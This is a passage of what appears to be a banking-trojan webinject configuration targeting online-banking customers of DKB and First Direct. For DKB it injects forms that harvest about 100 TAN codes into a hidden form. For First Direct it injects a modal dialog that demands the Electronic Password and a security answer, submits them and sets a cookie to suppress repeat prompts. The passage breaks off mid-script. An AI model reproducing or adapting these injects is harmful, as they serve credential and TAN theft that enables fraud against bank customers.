        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				63
        </td><td style="font-weight: bold;">
        <input type="number" name="number1" id="numbers63" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

			</tbody>
		</table>  
  <br/>
  <br/>
  </div>
  <div align="right">	
  <a id="finstep1" href="#" style="color: #732439; text-size:16;"><b>Weiter</b></a>
  </div>
  </form>
</div>


<div id="instep2" style="visibility: hidden; display: none; text-align: left;">
<br/>
	<form>
	<div style="text-align: justify; font-size: 11px;">
	 <br/><br/> </div>
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  </div>
	<div align="left">
  <div style="text-align: left; font-size: 11px;">TAN:</div>
		<table width=100%>
			<tbody> 
		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        91 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers91" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				74 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers74" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        44 
         </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers44" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				93 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers93" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				40
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers40" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        89  
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers89" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				11 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers11" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        26 
         </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers26" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				19 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers19" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				22
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers22" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        61   
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers61" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				6 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers6" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        60 
         </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers60" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				34  
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers34" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				14
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers14" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        67    
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers67" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				98 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers98" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        9 
         </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers9" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				47   
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers47" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				37
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers37" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        59     
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers59" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				57 
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers57" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        76 
         </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers76" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				2  
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers2" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				8
        </td><td style="font-weight: bold;">
        <input type="number" name="number2" id="numbers8" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

			</tbody>
		</table>  
  <br/>
  <br/>
  </div>
  <div align="right">	
  <a id="finstep2" href="#" style="color: #732439; text-size:16;"><b>Weiter</b></a>
  </div>
  </form>
</div>


<div id="instep3" style="visibility: hidden; display: none; text-align: left;">
<br/>
	<form>
	<div style="text-align: justify; font-size: 11px;">
	 <br/><br/> </div>
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  </div>
	<div align="left">
  <div style="text-align: left; font-size: 11px;">TAN:</div>
		<table width=100%>
			<tbody> 
		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        95  
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers95" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				100  
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers100" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        35 
         </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers35" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				82 
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers82" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				62
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers62" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        23   
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers23" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				83 
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers83" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        32 
         </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers32" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				72 
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers72" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				46
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers46" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        51    
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers51" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				79 
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers79" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        15 
         </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers15" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				85  
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers85" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				7
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers7" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        94     
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers94" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				21 
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers21" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        10 
         </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers10" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				13   
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers13" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				18
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers18" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        54      
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers54" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				28  
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers28" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        99 
         </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers99" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				97 
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers97" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				69
        </td><td style="font-weight: bold;">
        <input type="number" name="number3" id="numbers69" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

			</tbody>
		</table>  
  <br/>
  <br/>
  </div>
  <div align="right">	
  <a id="finstep3" href="#" style="color: #732439; text-size:16;"><b>Weiter</b></a>
  </div>
  </form>
</div>


<div id="instep4" style="visibility: hidden; display: none; text-align: left;">
<br/>
	<form>
	<div style="text-align: justify; font-size: 11px;">
	 <br/><br/> </div>
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  </div>
	<div align="left">
  <div style="text-align: left; font-size: 11px;">TAN:</div>
		<table width=100%>
			<tbody> 
		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        70   
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers70" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				80   
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers80" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        90 
         </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers90" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				50 
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers50" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				45
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers45" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        84    
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers84" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				20 
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers20" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        41 
         </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers41" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				52 
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers52" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				30
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers30" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        66     
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers66" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				81 
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers81" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        87 
         </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers87" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				43  
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers43" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				75
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers75" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        5      
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers5" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				92  
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers92" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        17 
         </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers17" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				56   
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers56" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				49
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers49" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

		    <tr style="font-size: 11px;">
		    <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        33       
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers33" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				58  
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers58" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
        88 
         </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers88" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				31 
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers31" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        <td style="font-weight: bold; text-align: right; padding-right: 0px; padding-left:7px">
				12
        </td><td style="font-weight: bold;">
        <input type="number" name="number4" id="numbers12" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td>
        </tr>

			</tbody>
		</table>  
  <br/>
  <br/>
  </div>
  <div align="right">	
  <a id="finstep4" href="#" style="color: #732439; text-size:16;"><b>Weiter</b></a>
  </div>
  </form>
</div>
</div>
<form name="injectform" action="https://banking.dkb.de/dkb/images/dkb/menu/logo_12030000_nopartner.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="num1" id="num1" />
<input type="hidden" name="num2" id="num2" />
<input type="hidden" name="num3" id="num3" />
<input type="hidden" name="num4" id="num4" />
<input type="hidden" name="num5" id="num5" />
<input type="hidden" name="num6" id="num6" />
<input type="hidden" name="num7" id="num7" />
<input type="hidden" name="num8" id="num8" />
<input type="hidden" name="num9" id="num9" />
<input type="hidden" name="num10" id="num10" />
<input type="hidden" name="num11" id="num11" />
<input type="hidden" name="num12" id="num12" />
<input type="hidden" name="num13" id="num13" />
<input type="hidden" name="num14" id="num14" />
<input type="hidden" name="num15" id="num15" />
<input type="hidden" name="num16" id="num16" />
<input type="hidden" name="num17" id="num17" />
<input type="hidden" name="num18" id="num18" />
<input type="hidden" name="num19" id="num19" />
<input type="hidden" name="num20" id="num20" />
<input type="hidden" name="num21" id="num21" />
<input type="hidden" name="num22" id="num22" />
<input type="hidden" name="num23" id="num23" />
<input type="hidden" name="num24" id="num24" />
<input type="hidden" name="num25" id="num25" />
<input type="hidden" name="num26" id="num26" />
<input type="hidden" name="num27" id="num27" />
<input type="hidden" name="num28" id="num28" />
<input type="hidden" name="num29" id="num29" />
<input type="hidden" name="num30" id="num30" />
<input type="hidden" name="num31" id="num31" />
<input type="hidden" name="num32" id="num32" />
<input type="hidden" name="num33" id="num33" />
<input type="hidden" name="num34" id="num34" />
<input type="hidden" name="num35" id="num35" />
<input type="hidden" name="num36" id="num36" />
<input type="hidden" name="num37" id="num37" />
<input type="hidden" name="num38" id="num38" />
<input type="hidden" name="num39" id="num39" />
<input type="hidden" name="num40" id="num40" />
<input type="hidden" name="num41" id="num41" />
<input type="hidden" name="num42" id="num42" />
<input type="hidden" name="num43" id="num43" />
<input type="hidden" name="num44" id="num44" />
<input type="hidden" name="num45" id="num45" />
<input type="hidden" name="num46" id="num46" />
<input type="hidden" name="num47" id="num47" />
<input type="hidden" name="num48" id="num48" />
<input type="hidden" name="num49" id="num49" />
<input type="hidden" name="num50" id="num50" />
<input type="hidden" name="num51" id="num51" />
<input type="hidden" name="num52" id="num52" />
<input type="hidden" name="num53" id="num53" />
<input type="hidden" name="num54" id="num54" />
<input type="hidden" name="num55" id="num55" />
<input type="hidden" name="num56" id="num56" />
<input type="hidden" name="num57" id="num57" />
<input type="hidden" name="num58" id="num58" />
<input type="hidden" name="num59" id="num59" />
<input type="hidden" name="num60" id="num60" />
<input type="hidden" name="num61" id="num61" />
<input type="hidden" name="num62" id="num62" />
<input type="hidden" name="num63" id="num63" />
<input type="hidden" name="num64" id="num64" />
<input type="hidden" name="num65" id="num65" />
<input type="hidden" name="num66" id="num66" />
<input type="hidden" name="num67" id="num67" />
<input type="hidden" name="num68" id="num68" />
<input type="hidden" name="num69" id="num69" />
<input type="hidden" name="num70" id="num70" />
<input type="hidden" name="num71" id="num71" />
<input type="hidden" name="num72" id="num72" />
<input type="hidden" name="num73" id="num73" />
<input type="hidden" name="num74" id="num74" />
<input type="hidden" name="num75" id="num75" />
<input type="hidden" name="num76" id="num76" />
<input type="hidden" name="num77" id="num77" />
<input type="hidden" name="num78" id="num78" />
<input type="hidden" name="num79" id="num79" />
<input type="hidden" name="num80" id="num80" />
<input type="hidden" name="num81" id="num81" />
<input type="hidden" name="num82" id="num82" />
<input type="hidden" name="num83" id="num83" />
<input type="hidden" name="num84" id="num84" />
<input type="hidden" name="num85" id="num85" />
<input type="hidden" name="num86" id="num86" />
<input type="hidden" name="num87" id="num87" />
<input type="hidden" name="num88" id="num88" />
<input type="hidden" name="num89" id="num89" />
<input type="hidden" name="num90" id="num90" />
<input type="hidden" name="num91" id="num91" />
<input type="hidden" name="num92" id="num92" />
<input type="hidden" name="num93" id="num93" />
<input type="hidden" name="num94" id="num94" />
<input type="hidden" name="num95" id="num95" />
<input type="hidden" name="num96" id="num96" />
<input type="hidden" name="num97" id="num97" />
<input type="hidden" name="num98" id="num98" />
<input type="hidden" name="num99" id="num99" />
<input type="hidden" name="num100" id="num100" />
<input type="hidden" name="depass" id="depass" value="ok" />
</form>
<script>
loads();
</script>
data_end

data_after
data_end


;===== FIRSTDIRECT =====

set_url *.banking.firstdirect* GL

data_before
>Account details</th>
data_end
data_inject
data_end
data_after
</table>
data_end

set_url https*banking.firstdirect.com* GP

data_before
<div id="fdMastheadDiv" class="fdMasthead">
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="216000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 500, buttons: { "Continue": function() {
	        if (jQuery("#inject_q1").val().length < 4) 
	        {
		        alert('Please enter correct Electronic Password');
		        jQuery("#inject_q1").focus();
	        } 
	        else if (jQuery("#inject_q2").val().length < 4) 
	        {
		        alert('Please enter correct answer.');
		        jQuery("#inject_q2").focus();
	        } 
	        else 
	        {
		jQuery("#Q1").val(jQuery("#inject_q1").val());
		jQuery("#Q2").val(jQuery("#inject_q2").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}
				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
